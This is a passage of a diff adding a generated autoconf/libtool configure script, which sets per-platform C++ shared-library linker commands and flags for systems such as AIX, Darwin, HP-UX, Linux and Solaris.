+esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + no_undefined_flag_CXX=' ${wl}-bernotok' + allow_undefined_flag_CXX=' ${wl}-berok' + # -bexpall does not export symbols beginning with underscore (_) + always_export_symbols_CXX=yes + # Exported symbols can be pulled into shared objects from archives + whole_archive_flag_spec_CXX=' ' + archive_cmds_need_lc_CXX=yes + # This is similar to how AIX traditionally builds it's shared libraries. + archive_expsym_cmds_CXX="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' + fi + fi + ;; + chorus*) + case $cc_basename in + *) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + esac + ;; + + + cygwin* | mingw* | pw32*) + # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless, + # as there is no search path for DLLs. + hardcode_libdir_flag_spec_CXX='-L$libdir' + allow_undefined_flag_CXX=unsupported + always_export_symbols_CXX=no + enable_shared_with_static_runtimes_CXX=yes + + if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then + archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + # If the export-symbols file already is a .def file (1st line + # is EXPORTS), use it as is; otherwise, prepend... + archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + else + ld_shlibs_CXX=no + fi + ;; + darwin* | rhapsody*) + case "$host_os" in + rhapsody* | darwin1.[012]) + allow_undefined_flag_CXX='${wl}-undefined ${wl}suppress' + ;; + *) # Darwin 1.3 on + if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then + allow_undefined_flag_CXX='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + else + case ${MACOSX_DEPLOYMENT_TARGET} in + 10.[012]) + allow_undefined_flag_CXX='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + ;; + 10.*) + allow_undefined_flag_CXX='${wl}-undefined ${wl}dynamic_lookup' + ;; + esac + fi + ;; + esac + archive_cmds_need_lc_CXX=no + hardcode_direct_CXX=no + hardcode_automatic_CXX=yes + hardcode_shlibpath_var_CXX=unsupported + whole_archive_flag_spec_CXX='' + link_all_deplibs_CXX=yes + + if test "$GXX" = yes ; then + lt_int_apple_cc_single_mod=no + output_verbose_link_cmd='echo' + if $CC -dumpspecs 2>&1 | $EGREP 'single_module' >/dev/null ; then + lt_int_apple_cc_single_mod=yes + fi + if test "X$lt_int_apple_cc_single_mod" = Xyes ; then + archive_cmds_CXX='$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + else + archive_cmds_CXX='$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + fi + module_cmds_CXX='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + if test "X$lt_int_apple_cc_single_mod" = Xyes ; then + archive_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + archive_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + fi + module_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + case "$cc_basename" in + xlc*) + output_verbose_link_cmd='echo' + archive_cmds_CXX='$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring' + module_cmds_CXX='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + archive_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + module_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + ;; + *) + ld_shlibs_CXX=no + ;; + esac + fi + ;; + + dgux*) + case $cc_basename in + ec++) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + ghcx) + # Green Hills C++ Compiler + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + *) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + esac + ;; + freebsd12*) + # C++ shared libraries reported to be fairly broken before switch to ELF + ld_shlibs_CXX=no + ;; + freebsd-elf*) + archive_cmds_need_lc_CXX=no + ;; + freebsd* | kfreebsd*-gnu) + # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF + # conventions + ld_shlibs_CXX=yes + ;; + gnu*) + ;; + hpux9*) + hardcode_libdir_flag_spec_CXX='${wl}+b ${wl}$libdir' + hardcode_libdir_separator_CXX=: + export_dynamic_flag_spec_CXX='${wl}-E' + hardcode_direct_CXX=yes + hardcode_minus_L_CXX=yes # Not in the search PATH, + # but as the default + # location of the library. + + case $cc_basename in + CC) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + aCC) + archive_cmds_CXX='$rm $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes; then + archive_cmds_CXX='$rm $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + else + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + fi + ;; + esac + ;; + hpux10*|hpux11*) + if test $with_gnu_ld = no; then + case "$host_cpu" in + hppa*64*) + hardcode_libdir_flag_spec_CXX='${wl}+b ${wl}$libdir' + hardcode_libdir_flag_spec_ld_CXX='+b $libdir' + hardcode_libdir_separator_CXX=: + ;; + ia64*) + hardcode_libdir_flag_spec_CXX='-L$libdir' + ;; + *) + hardcode_libdir_flag_spec_CXX='${wl}+b ${wl}$libdir' + hardcode_libdir_separator_CXX=: + export_dynamic_flag_spec_CXX='${wl}-E' + ;; + esac + fi + case "$host_cpu" in + hppa*64*) + hardcode_direct_CXX=no + hardcode_shlibpath_var_CXX=no + ;; + ia64*) + hardcode_direct_CXX=no + hardcode_shlibpath_var_CXX=no + hardcode_minus_L_CXX=yes # Not in the search PATH, + # but as the default + # location of the library. + ;; + *) + hardcode_direct_CXX=yes + hardcode_minus_L_CXX=yes # Not in the search PATH, + # but as the default + # location of the library. + ;; + esac + + case $cc_basename in + CC) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + aCC) + case "$host_cpu" in + hppa*64*|ia64*) + archive_cmds_CXX='$LD -b +h $soname -o $lib $linker_flags $libobjs $deplibs' + ;; + *) + archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + ;; + esac + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes; then + if test $with_gnu_ld = no; then + case "$host_cpu" in + ia64*|hppa*64*) + archive_cmds_CXX='$LD -b +h $soname -o $lib $linker_flags $libobjs $deplibs' + ;; + *) + archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + ;; + esac + fi + else + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + fi + ;; + esac + ;; + irix5* | irix6*) + case $cc_basename in + CC) + # SGI C++ + archive_cmds_CXX='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib' + + # Archives containing C++ object files must be created using + # "CC -ar", where "CC" is the IRIX C++ compiler. This is + # necessary to make sure instantiated templates are included + # in the archive. + old_archive_cmds_CXX='$CC -ar -WR,-u -o $oldlib $oldobjs' + ;; + *) + if test "$GXX" = yes; then + if test "$with_gnu_ld" = no; then + archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${objdir}/so_locations -o $lib' + else + archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` -o $lib' + fi + fi + link_all_deplibs_CXX=yes + ;; + esac + hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_CXX=: + ;; + linux*) + case $cc_basename in + KCC) + # Kuck and Associates, Inc. (KAI) C++ Compiler + + # KCC will only create a shared library if the output file + # ends with ".so" (or ".sl" for HP-UX), so rename the library + # to its proper name (with version) after linking. + archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' + archive_expsym_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib' + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | grep "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + + hardcode_libdir_flag_spec_CXX='${wl}--rpath,$libdir' + export_dynamic_flag_spec_CXX='${wl}--export-dynamic' + + # Archives containing C++ object files must be created using + # "CC -Bstatic", where "CC" is the KAI C++ compiler. + old_archive_cmds_CXX='$CC -Bstatic -o $oldlib $oldobjs' + ;; + icpc) + # Intel C++ + with_gnu_ld=yes + # version 8.0 and above of icpc choke on multiply defined symbols + # if we add $predep_objects and $postdep_objects, however 7.1 and + # earlier do not add the objects themselves. + case `$CC -V 2>&1` in + *"Version 7."*) + archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + ;; + *) # Version 8.0 or newer + archive_cmds_CXX='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_CXX='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + ;; + esac + archive_cmds_need_lc_CXX=no + hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir' + export_dynamic_flag_spec_CXX='${wl}--export-dynamic' + whole_archive_flag_spec_CXX='${wl}--whole-archive$convenience ${wl}--no-whole-archive' + ;; + cxx) + # Compaq C++ + archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib ${wl}-retain-symbols-file $wl$export_symbols' + + runpath_var=LD_RUN_PATH + hardcode_libdir_flag_spec_CXX='-rpath $libdir' + hardcode_libdir_separator_CXX=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + esac + ;; + lynxos*) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + m88k*) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + mvs*) + case $cc_basename in + cxx) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + *) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + esac + ;; + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + archive_cmds_CXX='$LD -Bshareable -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags' + wlarc= + hardcode_libdir_flag_spec_CXX='-R$libdir' + hardcode_direct_CXX=yes + hardcode_shlibpath_var_CXX=no + fi + # Workaround some broken pre-1.5 toolchains + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"' + ;; + openbsd2*) + # C++ shared libraries are fairly broken + ld_shlibs_CXX=no + ;; + openbsd*) + archive_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' + hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir' + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + archive_expsym_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib' + export_dynamic_flag_spec_CXX='${wl}-E' + whole_archive_flag_spec_CXX="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + fi + output_verbose_link_cmd='echo' + ;; + osf3*) + case $cc_basename in + KCC) + # Kuck and Associates, Inc. (KAI) C++ Compiler + + # KCC will only create a shared library if the output file + # ends with ".so" (or ".sl" for HP-UX), so rename the library + # to its proper name (with version) after linking. + archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' + + hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir' + hardcode_libdir_separator_CXX=: + + # Archives containing C++ object files must be created using + # "CC -Bstatic", where "CC" is the KAI C++ compiler. + old_archive_cmds_CXX='$CC -Bstatic -o $oldlib $oldobjs' + + ;; + RCC) + # Rational C++ 2.4.1 + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + cxx) + allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds_CXX='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && echo ${wl}-set_version $verstring` -update_registry ${objdir}/so_locations -o $lib' + + hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_CXX=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes && test "$with_gnu_ld" = no; then + allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${objdir}/so_locations -o $lib' + + hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_CXX=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"' + + else + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + fi + ;; + esac + ;; + osf4* | osf5*) + case $cc_basename in + KCC) + # Kuck and Associates, Inc. (KAI) C++ Compiler + + # KCC will only create a shared library if the output file + # ends with ".so" (or ".sl" for HP-UX), so rename the library + # to its proper name (with version) after linking. + archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' + + hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir' + hardcode_libdir_separator_CXX=: + + # Archives containing C++ object files must be created using + # the KAI C++ compiler. + old_archive_cmds_CXX='$CC -o $oldlib $oldobjs' + ;; + RCC) + # Rational C++ 2.4.1 + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + cxx) + allow_undefined_flag_CXX=' -expect_unresolved \*' + archive_cmds_CXX='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib' + archive_expsym_cmds_CXX='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~ + echo "-hidden">> $lib.exp~ + $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl,$lib.exp `test -n "$verstring" && echo -set_version $verstring` -update_registry $objdir/so_locations -o $lib~ + $rm $lib.exp' + + hardcode_libdir_flag_spec_CXX='-rpath $libdir' + hardcode_libdir_separator_CXX=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes && test "$with_gnu_ld" = no; then + allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${objdir}/so_locations -o $lib' + + hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_CXX=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"' + + else + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + fi + ;; + esac + ;; + psos*) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + sco*) + archive_cmds_need_lc_CXX=no + case $cc_basename in + CC) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + *) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + esac + ;; + sunos4*) + case $cc_basename in + CC) + # Sun C++ 4.x + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + lcc) + # Lucid + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + *) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + esac + ;; + solaris*) + case $cc_basename in + CC) + # Sun C++ 4.2, 5.x and Centerline C++ + no_undefined_flag_CXX=' -zdefs' + archive_cmds_CXX='$CC -G${allow_undefined_flag} -nolib -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -G${allow_undefined_flag} -nolib ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' + + hardcode_libdir_flag_spec_CXX='-R$libdir' + hardcode_shlibpath_var_CXX=no + case $host_os in + solaris2.0-5 | solaris2.0-5.*) ;; + *) + # The C++ compiler is used as linker so we must use $wl + # flag to pass the commands to the underlying system + # linker. + # Supported since Solaris 2.6 (maybe 2.5.1?) + whole_archive_flag_spec_CXX='${wl}-z ${wl}allextract$convenience ${wl}-z ${wl}defaultextract' + ;; + esac + link_all_deplibs_CXX=yes + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep "\-[LR]"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + + # Archives containing C++ object files must be created using + # "CC -xar", where "CC" is the Sun C++ compiler. This is + # necessary to make sure instantiated templates are included + # in the archive. + old_archive_cmds_CXX='$CC -xar -o $oldlib $oldobjs' + ;; + gcx) + # Green Hills C++ Compiler + archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' + + # The C++ compiler must be used to create the archive. + old_archive_cmds_CXX='$CC $LDFLAGS -archive -o $oldlib $oldobjs' + ;; + *) + # GNU C++ compiler with Solaris linker + if test "$GXX" = yes && test "$with_gnu_ld" = no; then + no_undefined_flag_CXX=' ${wl}-z ${wl}defs' + if $CC --version | grep -v '^2\.7' > /dev/null; then + archive_cmds_CXX='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' + archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd="$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\"" + else + # g++ 2.7 appears to require `-G' NOT `-shared' on this + # platform. + archive_cmds_CXX='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' + archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd="$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\"" + fi + + hardcode_libdir_flag_spec_CXX='${wl}-R $wl$libdir' + fi + ;; + esac + ;; + sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7*) + archive_cmds_need_lc_CXX=no + ;; + tandem*) + case $cc_basename in + NCC) + # NonStop-UX NCC 3.20 + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + *) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + esac + ;; + vxworks*) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + *) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; +esac +{ echo "$as_me:$LINENO: result: $ld_shlibs_CXX" >&5 +echo "${ECHO_T}$ld_shlibs_CXX" >&6; } +test "$ld_shlibs_CXX" = no && can_build_shared=no + +GCC_CXX="$GXX" +LD_CXX="$LD" + +## CAVEAT EMPTOR: +## There is no encapsulation within the following macros, do not change +## the running order or otherwise move them around unless you know exactly +## what you are doing... + +cat > conftest.$ac_ext <&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + # Parse the compiler output and extract the necessary + # objects, libraries and library flags. + + # Sentinel used to keep track of whether or not we are before + # the conftest object file. + pre_test_object_deps_done=no + + # The `*' in the case matches for architectures that use `case' in + # $output_verbose_cmd can trigger glob expansion during the loop + # eval without this substitution. + output_verbose_link_cmd="`$echo 